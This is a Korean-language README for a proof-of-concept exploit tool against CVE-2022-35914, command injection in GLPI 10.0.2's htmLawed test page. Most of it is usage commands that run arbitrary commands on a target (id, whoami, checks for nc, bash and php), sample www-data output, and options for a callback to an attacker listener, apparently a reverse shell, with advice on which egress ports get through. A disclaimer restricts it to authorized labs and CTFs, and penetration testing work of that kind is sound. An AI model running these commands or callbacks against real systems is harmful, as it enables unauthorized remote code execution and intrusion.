
CVE-2022-35914 — GLPI v.10.0.2 htmLawed 커맨드 인젝션, 명령 실행 및 리버스 셸 지원을 위한 PoC 익스플로잇.
취약한 GLPI 설치 환경에서 htmLawed 테스트 컴포넌트와 관련된 명령 주입 취약점인 CVE-2022-35914에 대한 PoC입니다.
이 도구는 취약한 엔드포인트를 통해 명령 실행 기능을 제공하며, 승인된 랩 환경을 위한 선택적 콜백 기능을 포함합니다.
면책 조항: 이 프로젝트는 승인된 보안 테스트, CTF, OffSec/PG 랩, 교육 목적으로만 사용하도록 의도되었습니다. 명시적 승인 없이 시스템에 사용하지 마십시오.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2022-35914 |
| 소프트웨어 | GLPI v.10.0.2 |
| 컴포넌트 | htmLawed |
| 취약한 엔드포인트 | /vendor/htmlawed/htmlawed/htmLawedTest.php |
취약한 컴포넌트는 영향을 받는 설치 환경에서 조작된 매개변수를 통해 명령 실행을 허용할 수 있습니다.
Python 3 및 필요한 종속성.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
저장소를 복제합니다:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
스크립트를 실행 가능하게 만듭니다:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
예시 출력:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c 옵션은 실행할 명령을 지정합니다.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| 옵션 | 설명 | 기본값 |
|---|---|---|
-u, --url | 대상 URL 또는 IP 주소 | 필수 |
-c, --cmd | 실행할 명령 | id |
--check | 명령을 실행하지 않고 대상 확인 | 비활성화 |
--user-agent | 사용자 정의 HTTP User-Agent | 기본값 |
-p, --rport | 대상 HTTP 서비스 포트 | 80 |
-l, --lhost | 콜백/리스너 IP 주소 | — |
-lp, --lport | 콜백/리스너 포트 | — |
-p / --rport 옵션은 취약한 GLPI 웹 서비스가 실행 중인 포트를 지정합니다.
기본값:
80
예시:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
--check를 사용하여 명령을 실행하지 않고 htmLawed 테스트 페이지가 사용 가능한지 확인합니다:
python3 glpi.py -u TARGET_IP --check
사용자 정의 HTTP User-Agent는 다음과 같이 제공할 수 있습니다:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
스크립트는 선택적 콜백 매개변수를 지원합니다:
-l 콜백/리스너 IP
-lp 콜백/리스너 포트
예시:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
이 예시에서:
Target: TARGET_IP:80
Callback: LHOST:80
두 포트는 서로 다른 목적을 가집니다:
-p = 대상 GLPI HTTP 포트
-lp = 콜백/리스너 포트
OffSec 랩 환경에서 테스트하는 동안 콜백은 TCP 포트 80을 통해 성공적으로 작동했습니다.
4444와 같은 다른 콜백 포트는 랩 네트워크 및 이그레스 필터링에 따라 시간 초과될 수 있습니다.
테스트된 환경의 경우:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
리스너는 TCP 포트 80을 사용하여 Kali VPN 인터페이스에 구성되었습니다.
중요: 콜백에 포트 80을 사용하는 것은 환경별 관찰 사항입니다. 이는 CVE-2022-35914의 요구 사항이 아닙니다.
먼저 명령 실행을 확인합니다:
python3 glpi.py -u TARGET_IP -c 'id'
필요한 유틸리티가 존재하는지 확인합니다:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
명령 실행은 작동하지만 콜백이 시간 초과되면 VPN 라우팅 및 콜백 포트를 확인하십시오.
명령 출력 파싱이 실패하면 전체 HTTP 응답이 다음 위치에 저장됩니다:
/tmp/glpi.html
다음으로 검사합니다:
less /tmp/glpi.html
또는:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
테스트된 OffSec 랩 환경의 경우:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
저자는 이 소프트웨어와 관련된 오용, 손상, 무단 접근 또는 불법 활동에 대해 책임지지 않습니다.
시스템을 테스트하기 전에 항상 명시적 승인을 받으십시오.
cyb3rk0ala
CVE-2022-35914
cyb3rk0ala의 CVE-2022-35914